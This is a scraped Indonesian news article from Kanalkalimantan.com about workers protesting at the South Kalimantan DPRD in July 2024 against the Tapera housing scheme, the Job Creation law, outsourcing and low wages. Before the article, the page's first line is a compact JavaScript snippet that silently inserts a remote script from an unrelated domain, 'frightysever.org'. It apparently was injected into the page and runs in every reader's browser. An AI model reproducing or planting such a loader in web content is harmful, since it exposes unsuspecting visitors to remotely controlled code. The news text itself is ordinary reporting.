(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARMASIN – Sejumlah buruh di Kalimantan Selatan (Kalsel) menggelar aksi unjuk rasa di depan gedung Dewan Perwakilan Rakyat Daerah (DPRD) Provinsi Kalsel, Senin (8/7/2024) siang.
Puluhan buruh yang melakukan aksi tergabung dalam Serikat Buruh Nasional Indonesia (SBNI) Kalsel dan Federasi Serikat Pekerja Metal Indonesia (FSPMI) Kalsel.
Mereka terlebih dahulu konvoi menggunakan sepeda motor dan berhenti di depan kantor DPRD Kalsel, Jalan Lambung Mangkurat, Kota Banjarmasin.
Baca juga: Guru PAUD di Banjarmasin Dituntut 15 Bulan Penjara, LKBH PGRI Kalsel Bereaksi
Aksi para buruh di Banjarmasin tersebut merupakan reaksi dan penolakan atas rencana kebijakan Tabungan Perumahan rakyat (Tapera).
Massa yang terdiri dari laki-laki dan perempuan membentangkan sejumlah spanduk penolakan Tapera.
Selain soal Tapera, para buruh juga menyampaikan beberapa aspirasi meminta pencabutan sejumlah aturan.
Baca juga: Ini Identitas Mayat Lelaki di Kasturi II Syamsudin Noor yang Sudah Membusuk
Mereka meminta pencabutan aturan seperti Peraturan Pemerintah (PP) Nomor 6 Tahun 2023 tentang Penetapan Perppu Nomor 2 Tahun 2022 tentang Ciptakerja menjadi Undang-Undang.
Berikutnya, Peraturan Menteri Perdagangan (Permendag) Nomor 8 Tahun 2024 tentang Ketentuan Impor Tekstil dan Produksi Tekstil. Serta izin usaha kurir dan logistik asing.
Tuntutan massa aksi buruh juga meminta agar outsourching dihapus dan menolak upah murah (hostum).
Baca juga: Perhatikan 5 Hal Ini Sebelum Beli Rumah dengan KPR Kilat BRI!
Salah seorang perwakilan buruh, Yoeyoen Indharto mengatakan, meskipun saat ini penerapan kebijakan Tapera dilakukan penundaan, pihaknya tetap belum puas sebelum benar-benar dicabut.
“Kita tahu bahwa Tapera ditunda, harus dicabut, buang,” tegas Yoeyoen.
Ketua FSPMI Kalsel menilai, potongan upah sebesar 3 persen yang dikumpulkan hingga 20 tahun pun menurutnya tak akan cukup untuk membeli sebuah rumah, sehingga pihaknya tak yakin dengan kebijakan Tapera.
Baca juga: Pukul Cekik Ibu Kandung Sendiri, Anak Durhaka di Sambas Diringkus Polisi
Yoeyoen dan para buruh meminta, lima poin tuntutan yang disampaikan buruh termasuk Tapera dan UU Ciptakerja supaya ditindaklanjuti oleh Ketua DPRD Provinsi Kalsel.
Perwakilan Sekretariat DPRD Kalsel yang menemui massa aksi, Adhi Saputra mengatakan akan menyampaikan tuntutan yang disampaikan buruh kepada pimpinan DPRD Kalsel.
Menurutnya, meskipun beberapa tuntutan yang disampaikan massa buruh juga sudah pernah disampaikan pada aksi-aksi sebelumnya, seperti Tapera dan UU Omnibuslaw/Ciptakerja, pihaknya akan tetap menindaklanjutinya.
Baca juga: Sekda HSU Mewanti-wanti ASN Tidak Terlibat Judi Online
“Yang jelas dokumen yang kami terima akan kami lanjutkan,” katanya.
Aksi damai yang berlangsung selama kurang lebih 2 jam itu dijaga ketat oleh aparat kepolisian dari Polres Kota Banjarmasin dan Polda Kalsel.(Kanalkalimantan.com/rizki)
Reporter: rizki
Editor: bie
KANALKALIMANTAN.COM, JAKARTA - Pemerintah memberlakukan tambahan pajak baru untuk kendaraan bermotor mulai 5 Januari 2025.… Read More
KANALKALIMANTAN.COM, BANJARMASIN - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More
KANALKALIMANTAN.COM, MARTAPURA - Memasuki pengujung 2024 ini merupakan pengujung masa jabatan pula bagi pasangan Bupati… Read More
KANALKALIMANTAN.COM, JAKARTA - Direktur Utama PT PLN (Persero) Darmawan Prasodjo kembali dinobatkan sebagai CEO of… Read More
KANALKALIMANTAN.COM - Maraknya ketidakpastian ekonomi global, masyarakat dituntut untuk jeli mencari alternatif investasi yang mampu… Read More
KANALKALIMANTAN.COM, BANJARBARU - Generasi Happy Tri menyapa Generasi Z (Gen Z) di Banjarbaru dan Banjarmasin,… Read More
This website uses cookies.